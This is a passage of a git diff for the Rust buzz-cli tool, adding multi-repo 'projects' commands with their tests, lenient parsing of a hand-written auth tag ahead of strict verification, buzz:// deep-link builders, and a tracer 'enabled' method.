+            let coord = format!("30617:{OWNER_HEX}:repo-{i:02}");
+            tags.push(make_test_tag(&["a", &coord]));
+        }
+        let ts = Timestamp::from(1_700_000_001u64);
+        assert!(rebuild_project("", tags, ts).is_ok());
+    }
+
+    // ── clear-flag semantics ──────────────────────────────────────────────────
+
+    /// Build a minimal head Event for testing update semantics without the relay.
+    fn make_head_tags(extra: &[Tag]) -> Vec<Tag> {
+        let mut tags = vec![make_test_tag(&["d", "platform"])];
+        tags.extend_from_slice(extra);
+        tags
+    }
+
+    #[allow(clippy::too_many_arguments)]
+    fn apply_update_tags(
+        head_tags: Vec<Tag>,
+        name: Option<&str>,
+        clear_name: bool,
+        description: Option<&str>,
+        clear_description: bool,
+        channel: Option<&str>,
+        clear_channel: bool,
+        visibility: Option<&str>,
+        clear_visibility: bool,
+    ) -> Vec<Tag> {
+        // Replicate the tag-mutation logic from cmd_update (sans relay I/O).
+        let singleton_fields = ["name", "description", "buzz-channel", "buzz-visibility"];
+        let mut tags: Vec<Tag> = head_tags
+            .iter()
+            .filter(|t| {
+                if tag_name(t) == Some("auth") {
+                    return false;
+                }
+                if let Some(field) = tag_name(t) {
+                    if singleton_fields.contains(&field) {
+                        let clear = match field {
+                            "name" => clear_name || name.is_some(),
+                            "description" => clear_description || description.is_some(),
+                            "buzz-channel" => clear_channel || channel.is_some(),
+                            "buzz-visibility" => clear_visibility || visibility.is_some(),
+                            _ => false,
+                        };
+                        return !clear;
+                    }
+                }
+                true
+            })
+            .cloned()
+            .collect();
+        if let Some(n) = name {
+            tags.push(make_test_tag(&["name", n]));
+        }
+        if let Some(d) = description {
+            tags.push(make_test_tag(&["description", d]));
+        }
+        if let Some(ch) = channel {
+            tags.push(make_test_tag(&["buzz-channel", ch]));
+        }
+        if let Some(vis) = visibility {
+            tags.push(make_test_tag(&["buzz-visibility", vis]));
+        }
+        tags
+    }
+
+    #[test]
+    fn update_omission_preserves_existing_field() {
+        let head = make_head_tags(&[make_test_tag(&["name", "Old Name"])]);
+        let result = apply_update_tags(head, None, false, None, false, None, false, None, false);
+        assert!(result.iter().any(|t| tag_value(t) == Some("Old Name")));
+    }
+
+    #[test]
+    fn update_setter_replaces_existing_field() {
+        let head = make_head_tags(&[make_test_tag(&["name", "Old Name"])]);
+        let result = apply_update_tags(
+            head,
+            Some("New Name"),
+            false,
+            None,
+            false,
+            None,
+            false,
+            None,
+            false,
+        );
+        assert!(result.iter().any(|t| tag_value(t) == Some("New Name")));
+        assert!(!result.iter().any(|t| tag_value(t) == Some("Old Name")));
+    }
+
+    #[test]
+    fn update_clear_drops_existing_field() {
+        let head = make_head_tags(&[make_test_tag(&["name", "Old Name"])]);
+        let result = apply_update_tags(head, None, true, None, false, None, false, None, false);
+        assert!(!result.iter().any(|t| tag_name(t) == Some("name")));
+    }
+
+    #[test]
+    fn update_clear_visibility_drops_tag() {
+        let head = make_head_tags(&[make_test_tag(&["buzz-visibility", "unlisted"])]);
+        let result = apply_update_tags(head, None, false, None, false, None, false, None, true);
+        assert!(!result
+            .iter()
+            .any(|t| tag_name(t) == Some("buzz-visibility")));
+    }
+
+    #[test]
+    fn update_exactly_one_singleton_after_replace() {
+        // Start with a buzz-channel; replace with a new one; must have exactly one.
+        let uuid1 = "3580ca9b-47b4-4af9-b22a-1068778f26c6";
+        let uuid2 = "00000000-0000-0000-0000-000000000000";
+        let head = make_head_tags(&[make_test_tag(&["buzz-channel", uuid1])]);
+        let result = apply_update_tags(
+            head,
+            None,
+            false,
+            None,
+            false,
+            Some(uuid2),
+            false,
+            None,
+            false,
+        );
+        let channels: Vec<_> = result
+            .iter()
+            .filter(|t| tag_name(t) == Some("buzz-channel"))
+            .collect();
+        assert_eq!(channels.len(), 1);
+        assert_eq!(tag_value(channels[0]), Some(uuid2));
+    }
+
+    // ── duplicate-member rejection on republish ───────────────────────────────
+
+    #[test]
+    fn duplicate_member_in_foreign_head_fails_rebuild() {
+        let coord = format!("30617:{OWNER_HEX}:buzz");
+        let tags = vec![
+            make_test_tag(&["d", "platform"]),
+            make_test_tag(&["a", &coord]),
+            make_test_tag(&["a", &coord]), // duplicate
+        ];
+        let ts = Timestamp::from(1_700_000_001u64);
+        assert!(rebuild_project("", tags, ts).is_err());
+    }
+
+    // ── validate_project_envelope integration ────────────────────────────────
+
+    #[test]
+    fn validate_project_envelope_accepts_hinted_member() {
+        let coord = format!("30617:{OWNER_HEX}:buzz");
+        let tags = vec![
+            make_test_tag(&["d", "platform"]),
+            Tag::parse(["a", &coord, "wss://relay.example.com"]).unwrap(),
+        ];
+        assert!(validate_project_envelope(&tags, "").is_ok());
+    }
+
+    #[test]
+    fn validate_project_envelope_rejects_four_element_member() {
+        let coord = format!("30617:{OWNER_HEX}:buzz");
+        let tags = vec![
+            make_test_tag(&["d", "platform"]),
+            Tag::parse(["a", &coord, "wss://relay.example.com", "extra"]).unwrap(),
+        ];
+        assert!(validate_project_envelope(&tags, "").is_err());
+    }
+
+    // ── next_timestamp ordering ───────────────────────────────────────────────
+
+    /// `next_timestamp` must return `head.created_at + 1` regardless of the wall
+    /// clock.  NIP-MP Deletion rule: a tombstone older than the live head does
+    /// NOT remove it, so we must advance strictly off the observed head — never
+    /// use wall-clock time, which could be behind a head that was bumped
+    /// multiple times in the same second.
+    #[test]
+    fn next_timestamp_returns_head_plus_one_when_head_is_ahead_of_wall_clock() {
+        // Build a minimal signed event with a created_at far in the future.
+        let keys = nostr::Keys::generate();
+        let far_future_ts = Timestamp::from(9_999_999_999u64); // year 2286
+        let tags = vec![
+            make_test_tag(&["d", "platform"]),
+            make_test_tag(&["a", &format!("30617:{OWNER_HEX}:buzz")]),
+        ];
+        let builder = rebuild_project("", tags, far_future_ts).expect("valid head envelope");
+        let head = builder.sign_with_keys(&keys).expect("sign");
+        // Verify the event actually has our future timestamp.
+        assert_eq!(head.created_at, far_future_ts);
+
+        // next_timestamp must return far_future + 1, not now().
+        let next = next_timestamp(&head).expect("no overflow");
+        assert_eq!(
+            next.as_secs(),
+            far_future_ts.as_secs() + 1,
+            "tombstone must be strictly after head, even when head is far in the future"
+        );
+    }
+
+    // ── empty update guard ────────────────────────────────────────────────────
+
+    /// `cmd_update` with no setters or clearers must return `CliError::Usage`
+    /// before making any network call.  The guard is synchronous (before the
+    /// first `.await`) so we can drive it with a dummy client whose address
+    /// would reject any real connection attempt.
+    #[tokio::test]
+    async fn empty_update_returns_usage_error_before_any_network_call() {
+        let keys = nostr::Keys::generate();
+        // Port 9 is the discard protocol — any real connect will be refused
+        // immediately, but the guard fires before the first await so this
+        // never reaches the network.
+        let client = crate::client::BuzzClient::new("http://127.0.0.1:9".into(), keys, None, None)
+            .expect("client construction");
+
+        let err = cmd_update(
+            &client, "my-slug", None, false, // name / clear_name
+            None, false, // description / clear_description
+            None, false, // channel / clear_channel
+            None, false, // visibility / clear_visibility
+        )
+        .await
+        .expect_err("empty update must fail");
+
+        assert!(
+            matches!(err, CliError::Usage(_)),
+            "expected CliError::Usage, got {err:?}"
+        );
+    }
+
+    // ── no-network malformed-input tests ─────────────────────────────────────
+    //
+    // All three cases use port 9 (discard protocol): any real connection is
+    // refused immediately, but local validation fires before the first .await
+    // so the network is never touched.
+
+    fn discard_client() -> crate::client::BuzzClient {
+        let keys = nostr::Keys::generate();
+        crate::client::BuzzClient::new("http://127.0.0.1:9".into(), keys, None, None)
+            .expect("client construction")
+    }
+
+    /// Invalid visibility token must return Usage before touching the relay.
+    #[tokio::test]
+    async fn create_invalid_visibility_returns_usage_before_any_network_call() {
+        let client = discard_client();
+        let err = cmd_create(
+            &client,
+            "my-slug",
+            &["buzz".to_string()],
+            None,
+            None,
+            None,
+            Some("chartreuse"),
+        )
+        .await
+        .expect_err("invalid visibility must fail");
+        assert!(
+            matches!(err, CliError::Usage(_)),
+            "expected CliError::Usage for invalid visibility, got {err:?}"
+        );
+    }
+
+    /// A name longer than 256 bytes must return Usage before touching the relay.
+    #[tokio::test]
+    async fn create_overlong_name_returns_usage_before_any_network_call() {
+        let client = discard_client();
+        let long_name = "a".repeat(257);
+        let err = cmd_create(
+            &client,
+            "my-slug",
+            &["buzz".to_string()],
+            Some(&long_name),
+            None,
+            None,
+            None,
+        )
+        .await
+        .expect_err("overlong name must fail");
+        assert!(
+            matches!(err, CliError::Usage(_)),
+            "expected CliError::Usage for overlong name, got {err:?}"
+        );
+    }
+
+    /// A malformed --repo coordinate must return Usage before touching the relay.
+    #[tokio::test]
+    async fn create_malformed_repo_returns_usage_before_any_network_call() {
+        let client = discard_client();
+        let err = cmd_create(
+            &client,
+            "my-slug",
+            &["nope:bad".to_string()],
+            None,
+            None,
+            None,
+            None,
+        )
+        .await
+        .expect_err("malformed repo must fail");
+        assert!(
+            matches!(err, CliError::Usage(_)),
+            "expected CliError::Usage for malformed repo, got {err:?}"
+        );
+    }
+
+    /// A malformed --repo coordinate on add-repo must return Usage before touching the relay.
+    #[tokio::test]
+    async fn add_repo_malformed_coord_returns_usage_before_any_network_call() {
+        let client = discard_client();
+        let err = cmd_add_repo(&client, "my-slug", &["nope:bad".to_string()])
+            .await
+            .expect_err("malformed repo must fail");
+        assert!(
+            matches!(err, CliError::Usage(_)),
+            "expected CliError::Usage for malformed repo on add-repo, got {err:?}"
+        );
+    }
+
+    /// A malformed --repo coordinate on remove-repo must return Usage before touching the relay.
+    #[tokio::test]
+    async fn remove_repo_malformed_coord_returns_usage_before_any_network_call() {
+        let client = discard_client();
+        let err = cmd_remove_repo(&client, "my-slug", &["nope:bad".to_string()])
+            .await
+            .expect_err("malformed repo must fail");
+        assert!(
+            matches!(err, CliError::Usage(_)),
+            "expected CliError::Usage for malformed repo on remove-repo, got {err:?}"
+        );
+    }
+
+    // ── duplicate --repo within one invocation ────────────────────────────────
+
+    /// Supplying the same coordinate twice in one create call must return Usage
+    /// (names the duplicate) before any network call.
+    #[tokio::test]
+    async fn create_duplicate_repo_returns_usage_before_any_network_call() {
+        let client = discard_client();
+        let coord = format!("30617:{OWNER_HEX}:buzz");
+        let err = cmd_create(
+            &client,
+            "my-slug",
+            &[coord.clone(), coord.clone()],
+            None,
+            None,
+            None,
+            None,
+        )
+        .await
+        .expect_err("duplicate repo must fail");
+        assert!(
+            matches!(err, CliError::Usage(_)),
+            "expected CliError::Usage for duplicate repo, got {err:?}"
+        );
+        // Error message must name the duplicate coordinate.
+        assert!(
+            format!("{err}").contains("buzz"),
+            "Usage message must name the duplicate coordinate, got {err:?}"
+        );
+    }
+
+    /// Supplying the same coordinate twice in one add-repo call must return Usage
+    /// (names the duplicate) before any network call.
+    #[tokio::test]
+    async fn add_repo_duplicate_coord_returns_usage_before_any_network_call() {
+        let client = discard_client();
+        let coord = format!("30617:{OWNER_HEX}:buzz");
+        let err = cmd_add_repo(&client, "my-slug", &[coord.clone(), coord.clone()])
+            .await
+            .expect_err("duplicate repo must fail");
+        assert!(
+            matches!(err, CliError::Usage(_)),
+            "expected CliError::Usage for duplicate repo on add-repo, got {err:?}"
+        );
+    }
+
+    // ── create collision guard ────────────────────────────────────────────────
+
+    // The create-collision Conflict path is pinned by the live transcript
+    // (step: duplicate create → Conflict, exit=5). No relay mock is available
+    // for a unit test; the no-network tests above cover all pre-await paths.
+
+    // ── add-repo no-op guard ──────────────────────────────────────────────────
+
+    // The add-repo no-op Conflict path is pinned by the live transcript
+    // (step 7: buzz already present → exit=5). No relay mock is available
+    // for a unit test; the async no-network tests above cover all pre-await paths.
+}
diff --git a/crates/buzz-cli/src/commands/repos.rs b/crates/buzz-cli/src/commands/repos.rs
index 59a290a927..dc4fb5f834 100644
--- a/crates/buzz-cli/src/commands/repos.rs
+++ b/crates/buzz-cli/src/commands/repos.rs
@@ -4,7 +4,8 @@ use buzz_core::{
 };
 use nostr::{Event, EventBuilder, Tag, Timestamp};
 
-use crate::client::{normalize_write_response, BuzzClient};
+use crate::client::BuzzClient;
+use crate::commands::parse_write_response;
 use crate::error::CliError;
 use crate::validate::validate_repo_id;
 
@@ -186,25 +187,10 @@ fn protection_rules_json(event: &Event) -> Result<serde_json::Value, CliError> {
 }
 
 fn validate_write_response(raw: &str) -> Result<String, CliError> {
-    let response: serde_json::Value = serde_json::from_str(raw)
-        .map_err(|error| CliError::Other(format!("relay response is not JSON: {error} ({raw})")))?;
-    let accepted = response
-        .get("accepted")
-        .and_then(serde_json::Value::as_bool)
-        .unwrap_or(false);
-    let message = response
-        .get("message")
-        .and_then(serde_json::Value::as_str)
-        .unwrap_or("");
-    if !accepted {
-        return Err(CliError::Other(format!("relay rejected event: {message}")));
-    }
-    if message == "duplicate" || message.starts_with("duplicate:") {
-        return Err(CliError::Conflict(
-            "repository changed concurrently; fetch the latest rules and retry".into(),
-        ));
-    }
-    Ok(normalize_write_response(raw))
+    parse_write_response(
+        raw,
+        "repository changed concurrently; fetch the latest rules and retry",
+    )
 }
 
 async fn submit_repo_update(client: &BuzzClient, builder: EventBuilder) -> Result<(), CliError> {
@@ -275,8 +261,12 @@ pub async fn cmd_create_repo(
         channel,
     )?;
     let event = client.sign_event(builder)?;
+    let owner = event.pubkey.to_hex();
     let resp = client.submit_event(event).await?;
-    println!("{resp}");
+    // `link` renders as a rich preview card in Buzz Desktop when included in
+    // a chat message — agents announce repos with it (see base_prompt.md).
+    let link = crate::links::repo_link(&owner, repo_id);
+    crate::client::print_create_response(&resp, "link", &link);
     Ok(())
 }
 
diff --git a/crates/buzz-cli/src/lib.rs b/crates/buzz-cli/src/lib.rs
index 64361d90bb..7a4b6bbfe2 100644
--- a/crates/buzz-cli/src/lib.rs
+++ b/crates/buzz-cli/src/lib.rs
@@ -2,6 +2,7 @@ pub mod agent_management;
 mod client;
 mod commands;
 mod error;
+mod links;
 mod validate;
 
 use clap::{Parser, Subcommand};
@@ -212,6 +213,9 @@ enum Cmd {
     /// Announce and discover git repositories (NIP-34)
     #[command(subcommand)]
     Repos(ReposCmd),
+    /// Create and manage multi-repo projects (NIP-MP)
+    #[command(subcommand)]
+    Projects(ProjectsCmd),
     /// Send, get, list, and set status on git patches (NIP-34)
     #[command(subcommand)]
     Patches(PatchesCmd),
@@ -1314,6 +1318,122 @@ pub enum RepoPushRole {
     Member,
 }
 
+/// Visibility of a multi-repo project listing.
+#[derive(Clone, Copy, Debug, clap::ValueEnum)]
+pub enum ProjectVisibility {
+    /// Project appears in public listings (default).
+    Listed,
+    /// Project is hidden from public listings.
+    Unlisted,
+}
+
+impl ProjectVisibility {
+    pub fn as_str(self) -> &'static str {
+        match self {
+            ProjectVisibility::Listed => "listed",
+            ProjectVisibility::Unlisted => "unlisted",
+        }
+    }
+}
+
+#[derive(Subcommand)]
+pub enum ProjectsCmd {
+    /// Create a new multi-repo project (NIP-MP kind:30621)
+    ///
+    /// Requires at least one --repo. Fails with Conflict if the project already exists.
+    Create {
+        /// Project identifier (slug), up to 1024 bytes
+        slug: String,
+        /// Member repository coordinate: bare Buzz repo id (e.g. `buzz`) or full
+        /// `30617:<owner-hex>:<repo-d>` for cross-owner or colon-bearing repo ids.
+        /// At least one --repo is required.
+        #[arg(long = "repo", required = true)]
+        repo: Vec<String>,
+        /// Display name (≤256 bytes)
+        #[arg(long)]
+        name: Option<String>,
+        /// Description (≤2048 bytes)
+        #[arg(long)]
+        description: Option<String>,
+        /// Associated Buzz channel UUID
+        #[arg(long)]
+        channel: Option<String>,
+        /// Visibility: `listed` (default) or `unlisted`
+        #[arg(long)]
+        visibility: Option<ProjectVisibility>,
+    },
+    /// Get a project by slug
+    Get {
+        /// Project slug
+        slug: String,
+        /// Owner pubkey (64-char hex). Defaults to the current identity.
+        #[arg(long)]
+        owner: Option<String>,
+    },
+    /// List projects
+    List {
+        /// Owner pubkey (64-char hex). Defaults to the current identity.
+        #[arg(long)]
+        owner: Option<String>,
+        /// Maximum number of results
+        #[arg(long)]
+        limit: Option<u32>,
+    },
+    /// Add one or more member repositories to a project
+    #[command(name = "add-repo")]
+    AddRepo {
+        /// Project slug
+        slug: String,
+        /// Member repository coordinate (bare id or full `30617:<owner-hex>:<repo-d>`)
+        #[arg(long = "repo", required = true)]
+        repo: Vec<String>,
+    },
+    /// Remove one or more member repositories from a project
+    #[command(name = "remove-repo")]
+    RemoveRepo {
+        /// Project slug
+        slug: String,
+        /// Member repository coordinate to remove (bare id or full `30617:<owner-hex>:<repo-d>`)
+        #[arg(long = "repo", required = true)]
+        repo: Vec<String>,
+    },
+    /// Update project metadata (at least one setter or clearer required)
+    #[command(group = clap::ArgGroup::new("mutation").required(true).multiple(true))]
+    Update {
+        /// Project slug
+        slug: String,
+        /// Set the display name
+        #[arg(long, group = "mutation")]
+        name: Option<String>,
+        /// Remove the display name
+        #[arg(long, group = "mutation", conflicts_with = "name")]
+        clear_name: bool,
+        /// Set the description
+        #[arg(long, group = "mutation")]
+        description: Option<String>,
+        /// Remove the description
+        #[arg(long, group = "mutation", conflicts_with = "description")]
+        clear_description: bool,
+        /// Set the associated Buzz channel UUID
+        #[arg(long, group = "mutation")]
+        channel: Option<String>,
+        /// Remove the associated channel
+        #[arg(long, group = "mutation", conflicts_with = "channel")]
+        clear_channel: bool,
+        /// Set visibility: `listed` or `unlisted`
+        #[arg(long, group = "mutation")]
+        visibility: Option<ProjectVisibility>,
+        /// Remove the visibility tag (absence defaults to `listed`)
+        #[arg(long, group = "mutation", conflicts_with = "visibility")]
+        clear_visibility: bool,
+    },
+    /// Delete a project (head-based tombstone; verified after submit)
+    Delete {
+        /// Project slug
+        slug: String,
+    },
+}
+
 #[derive(Subcommand)]
 pub enum PatchesCmd {
     /// Send a git patch (NIP-34 kind:1617)
@@ -1889,6 +2009,41 @@ pub enum ModerationCmd {
     },
 }
 
+/// Normalize hand-authored `BUZZ_AUTH_TAG` input to strict JSON.
+///
+/// `.env` files and shell exports sometimes carry the tag in the unquoted
+/// shorthand `[auth,<hex>,<conditions>,<hex>]` (quotes dropped by hand).
+/// When the input is not valid JSON but is bracket-delimited, rewrite it as
+/// a JSON array of the comma-separated fields (an empty field `,,` becomes
+/// `""`, matching the canonical form `["auth","hex","","hex"]`).
+///
+/// This is presentation-layer leniency at the configuration edge only: the
+/// output is always fed through the SDK's strict `parse_auth_tag` /
+/// `verify_auth_tag`, which enforce structure, hex, the conditions grammar,
+/// and the BIP-340 signature. Inputs that are already valid JSON — or not
+/// recognizable as the shorthand — are returned unchanged so the strict
+/// parser reports the error on the original bytes.
+fn normalize_auth_tag_input(input: &str) -> String {
+    let trimmed = input.trim();
+    if serde_json::from_str::<serde_json::Value>(trimmed).is_ok() {
+        return trimmed.to_owned();
+    }
+    if trimmed.starts_with('[') && trimmed.ends_with(']') {
+        let fields: Vec<&str> = trimmed[1..trimmed.len() - 1]
+            .split(',')
+            .map(str::trim)
+            .collect();
+        // Only a plausible 4-field auth tag is rewritten; anything else is
+        // passed through untouched for the strict parser to reject with an
+        // error that references the caller's original input.
+        if fields.len() == 4 && !fields.iter().any(|f| f.contains('"')) {
+            // serde_json cannot fail serializing a Vec<&str>.
+            return serde_json::to_string(&fields).expect("string array serializes");
+        }
+    }
+    trimmed.to_owned()
+}
+
 async fn run(cli: Cli) -> Result<(), CliError> {
     let relay_url = client::normalize_relay_url(&cli.relay);
 
@@ -1909,17 +2064,28 @@ async fn run(cli: Cli) -> Result<(), CliError> {
         .map_err(|e| CliError::Key(format!("invalid BUZZ_PRIVATE_KEY: {e}")))?;
 
     // NIP-OA: parse and verify the auth tag if provided.
+    //
+    // `BUZZ_AUTH_TAG` is hand-authored configuration, so the unquoted raw
+    // shorthand `[auth,hex,,hex]` is normalized to JSON here — at this input
+    // edge only. The SDK grammar and the `x-auth-tag` wire format stay strict
+    // JSON; all validation and signature verification happen on the strict
+    // path below, unchanged.
     let (auth_tag, auth_tag_json) = match cli.auth_tag {
-        Some(ref json) if !json.is_empty() => {
-            let tag = buzz_sdk::nip_oa::parse_auth_tag(json)
+        Some(ref input) if !input.is_empty() => {
+            let json = normalize_auth_tag_input(input);
+            let tag = buzz_sdk::nip_oa::parse_auth_tag(&json)
                 .map_err(|e| CliError::Auth(format!("BUZZ_AUTH_TAG is malformed: {e}")))?;
-            buzz_sdk::nip_oa::verify_auth_tag(json, &keys.public_key()).map_err(|e| {
+            buzz_sdk::nip_oa::verify_auth_tag(&json, &keys.public_key()).map_err(|e| {
                 CliError::Auth(format!(
                     "BUZZ_AUTH_TAG verification failed for pubkey {}: {e}",
                     keys.public_key().to_hex()
                 ))
             })?;
-            (Some(tag), Some(json.clone()))
+            // Canonical wire form derives from the parsed-and-verified tag
+            // (same shape as buzz-acp's RestClient), never from raw input.
+            let canonical = serde_json::to_string(tag.as_slice())
+                .map_err(|e| CliError::Auth(format!("BUZZ_AUTH_TAG serialization failed: {e}")))?;
+            (Some(tag), Some(canonical))
         }
         _ => (None, None),
     };
@@ -1940,6 +2106,7 @@ async fn run(cli: Cli) -> Result<(), CliError> {
         Cmd::Social(sub) => commands::social::dispatch(sub, &client).await,
         Cmd::Notes(sub) => commands::notes::dispatch(sub, &client).await,
         Cmd::Repos(sub) => commands::repos::dispatch(sub, &client).await,
+        Cmd::Projects(sub) => commands::projects::dispatch(sub, &client).await,
         Cmd::Patches(sub) => commands::patches::dispatch(sub, &client).await,
         Cmd::Issues(sub) => commands::issues::dispatch(sub, &client).await,
         Cmd::Pr(sub) => commands::pr::dispatch(sub, &client).await,
@@ -1956,6 +2123,51 @@ mod tests {
     use super::*;
     use clap::CommandFactory;
 
+    /// Raw shorthand `[auth,hex,,hex]` normalizes to strict JSON; the empty
+    /// conditions field becomes `""`.
+    #[test]
+    fn normalize_auth_tag_raw_shorthand() {
+        let owner = "a".repeat(64);
+        let sig = "b".repeat(128);
+
+        let raw = format!("[auth,{owner},,{sig}]");
+        let json = normalize_auth_tag_input(&raw);
+        let parsed: Vec<String> = serde_json::from_str(&json).expect("output must be JSON");
+        assert_eq!(parsed, vec!["auth", &owner, "", &sig]);
+
+        // With conditions and surrounding whitespace (shell/.env artifacts).
+        let raw = format!("  [auth, {owner} , kind=9, {sig}]  \n");
+        let json = normalize_auth_tag_input(&raw);
+        let parsed: Vec<String> = serde_json::from_str(&json).expect("output must be JSON");
+        assert_eq!(parsed, vec!["auth", &owner, "kind=9", &sig]);
+    }
+
+    /// Valid JSON input passes through byte-identical (modulo outer trim) —
+    /// the normalizer must never rewrite well-formed input.
+    #[test]
+    fn normalize_auth_tag_json_passthrough() {
+        let owner = "a".repeat(64);
+        let sig = "b".repeat(128);
+        let json_in = serde_json::json!(["auth", owner, "kind=9", sig]).to_string();
+        assert_eq!(normalize_auth_tag_input(&json_in), json_in);
+    }
+
+    /// Inputs that are neither JSON nor a plausible 4-field shorthand pass
+    /// through unchanged, so the strict parser rejects the original bytes.
+    #[test]
+    fn normalize_auth_tag_leaves_garbage_untouched() {
+        for garbage in [
+            "not a tag",
+            "[auth,too,few]",
+            "[a,b,c,d,e]",
+            r#"[auth,"quoted",x,y]"#, // quote chars => not the shorthand
+            "[]",
+            "{\"auth\":1}",
+        ] {
+            assert_eq!(normalize_auth_tag_input(garbage), garbage.trim());
+        }
+    }
+
     /// Smoke test: CLI definition is valid and parseable.
     #[test]
     fn cli_definition_is_valid() {
@@ -2004,6 +2216,7 @@ mod tests {
             "pack",
             "patches",
             "pr",
+            "projects",
             "reactions",
             "repos",
             "social",
@@ -2161,6 +2374,18 @@ mod tests {
             names(&cmd, "patches"),
             vec!["get", "list", "send", "status"]
         );
+        assert_eq!(
+            names(&cmd, "projects"),
+            vec![
+                "add-repo",
+                "create",
+                "delete",
+                "get",
+                "list",
+                "remove-repo",
+                "update"
+            ]
+        );
         assert_eq!(
             names(&cmd, "issues"),
             vec!["comment", "create", "get", "list", "rm", "status"]
@@ -2198,6 +2423,7 @@ mod tests {
             ("pack", 2),
             ("patches", 4),
             ("pr", 5),
+            ("projects", 7),
             ("reactions", 3),
             ("repos", 6),
             ("social", 7),
@@ -2265,4 +2491,111 @@ mod tests {
                 .join("\n")
         );
     }
+
+    // ── projects update mutation group ────────────────────────────────────────
+
+    /// Multiple independent fields must be accepted in the same invocation.
+    #[test]
+    fn projects_update_multi_field_is_accepted() {
+        assert!(
+            Cli::try_parse_from([
+                "buzz",
+                "projects",
+                "update",
+                "my-slug",
+                "--name",
+                "X",
+                "--description",
+                "Y",
+            ])
+            .is_ok(),
+            "--name and --description together must be accepted"
+        );
+    }
+
+    /// A setter for one field and a clearer for a different field must be accepted.
+    #[test]
+    fn projects_update_setter_with_other_clearer_is_accepted() {
+        assert!(
+            Cli::try_parse_from([
+                "buzz",
+                "projects",
+                "update",
+                "my-slug",
+                "--name",
+                "X",
+                "--clear-description",
+            ])
+            .is_ok(),
+            "--name with --clear-description must be accepted"
+        );
+    }
+
+    /// A setter and its own clearer are mutually exclusive — clap must reject this.
+    #[test]
+    fn projects_update_setter_with_own_clearer_is_rejected() {
+        assert!(
+            Cli::try_parse_from([
+                "buzz",
+                "projects",
+                "update",
+                "my-slug",
+                "--name",
+                "X",
+                "--clear-name",
+            ])
+            .is_err(),
+            "--name and --clear-name together must be rejected by clap"
+        );
+    }
+
+    /// Providing no mutation options at all must be rejected by clap (required group).
+    #[test]
+    fn projects_update_no_mutation_is_rejected_by_clap() {
+        // Without credentials, a valid parse would reach authentication and fail
+        // with auth_error — but a clap-level rejection happens before any I/O.
+        // We verify it's a clap error (not just any error) by checking the error
+        // kind is not a runtime/auth failure — Cli::try_parse_from returns Err
+        // immediately for argument violations.
+        assert!(
+            Cli::try_parse_from(["buzz", "projects", "update", "my-slug"]).is_err(),
+            "update with no setters or clearers must be rejected at parse time"
+        );
+    }
+
+    /// An unrecognised visibility token must be rejected by clap before any I/O.
+    #[test]
+    fn projects_create_invalid_visibility_is_rejected_by_clap() {
+        assert!(
+            Cli::try_parse_from([
+                "buzz",
+                "projects",
+                "create",
+                "my-slug",
+                "--repo",
+                "buzz",
+                "--visibility",
+                "chartreuse",
+            ])
+            .is_err(),
+            "--visibility chartreuse must be rejected at parse time"
+        );
+    }
+
+    /// An unrecognised visibility token on update must be rejected by clap before any I/O.
+    #[test]
+    fn projects_update_invalid_visibility_is_rejected_by_clap() {
+        assert!(
+            Cli::try_parse_from([
+                "buzz",
+                "projects",
+                "update",
+                "my-slug",
+                "--visibility",
+                "chartreuse",
+            ])
+            .is_err(),
+            "--visibility chartreuse on update must be rejected at parse time"
+        );
+    }
 }
diff --git a/crates/buzz-cli/src/links.rs b/crates/buzz-cli/src/links.rs
new file mode 100644
index 0000000000..043bdc48b0
--- /dev/null
+++ b/crates/buzz-cli/src/links.rs
@@ -0,0 +1,51 @@
+//! Canonical `buzz://` deep links for Buzz-hosted git entities.
+//!
+//! Buzz Desktop renders these links as rich preview cards in chat and
+//! navigates in-app when they are clicked. The desktop parser lives in
+//! `desktop/src/shared/lib/entityLink.ts` — the two implementations must
+//! stay format-compatible (see `golden_format_matches_desktop` below and
+//! the mirror test in `entityLink.test.mjs`).
+//!
+//! Callers are expected to validate inputs first (`validate_hex64`,
+//! `validate_repo_id`); the identifier charsets need no URL encoding.
+
+/// Build a `buzz://repo` link for a repository announcement (kind 30617).
+pub fn repo_link(owner: &str, repo_id: &str) -> String {
+    format!("buzz://repo?owner={owner}&d={repo_id}")
+}
+
+/// Build a `buzz://pr` link for a pull request event (kind 1618).
+pub fn pull_request_link(event_id: &str, owner: &str, repo_id: &str) -> String {
+    format!("buzz://pr?id={event_id}&owner={owner}&d={repo_id}")
+}
+
+/// Build a `buzz://issue` link for an issue event (kind 1621).
+pub fn issue_link(event_id: &str, owner: &str, repo_id: &str) -> String {
+    format!("buzz://issue?id={event_id}&owner={owner}&d={repo_id}")
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    const OWNER: &str = "71d67180ba17e749ee825fc8819c9c6ee7003617e1c126504f9b658070ab9224";
+    const EVENT_ID: &str = "c3b589fa5713ba25bad6dc095e2de00a4ac8f50050fdea00fc6444e603be1dd1";
+
+    // Golden strings shared with desktop/src/shared/lib/entityLink.test.mjs
+    // ("builders emit the canonical cross-language link format").
+    #[test]
+    fn golden_format_matches_desktop() {
+        assert_eq!(
+            pull_request_link(EVENT_ID, OWNER, "buzz-world"),
+            format!("buzz://pr?id={EVENT_ID}&owner={OWNER}&d=buzz-world")
+        );
+        assert_eq!(
+            issue_link(EVENT_ID, OWNER, "buzz-world"),
+            format!("buzz://issue?id={EVENT_ID}&owner={OWNER}&d=buzz-world")
+        );
+        assert_eq!(
+            repo_link(OWNER, "buzz-world"),
+            format!("buzz://repo?owner={OWNER}&d=buzz-world")
+        );
+    }
+}
diff --git a/crates/buzz-conformance/src/lib.rs b/crates/buzz-conformance/src/lib.rs
index 3e1cfe13e3..b8e3f933df 100644
--- a/crates/buzz-conformance/src/lib.rs
+++ b/crates/buzz-conformance/src/lib.rs
@@ -315,6 +315,27 @@ pub trait Tracer: Send + Sync {
     /// Record one trace step. Implementations MAY be no-ops in production
     /// builds and write to JSONL in tests.
     fn record(&self, step: TraceStep);
+
+    /// Whether recorded steps are actually observed.
+    ///
+    /// Emitters on hot paths MUST consult this before doing work whose
+    /// *only* consumer is the trace — most importantly extra database
+    /// reads that project row labels independently of the fetch query
+    /// (the read-seam's `communities_of_channels` lookup). With a
+    /// discarding tracer that work is pure overhead.
+    ///
+    /// This is the `log.isDebugEnabled()` of the trace seam. It exists to
+    /// let callers skip *building emit inputs*, never to let them skip an
+    /// emit they would otherwise have made: when this returns `true`
+    /// every seam must behave exactly as it did before the gate existed,
+    /// so the coverage-breach guard stays non-vacuous.
+    ///
+    /// Defaults to `true` — a new tracer is assumed to observe steps until
+    /// it says otherwise. Wrappers that delegate to an inner tracer MUST
+    /// forward this method rather than inherit the default.
+    fn enabled(&self) -> bool {
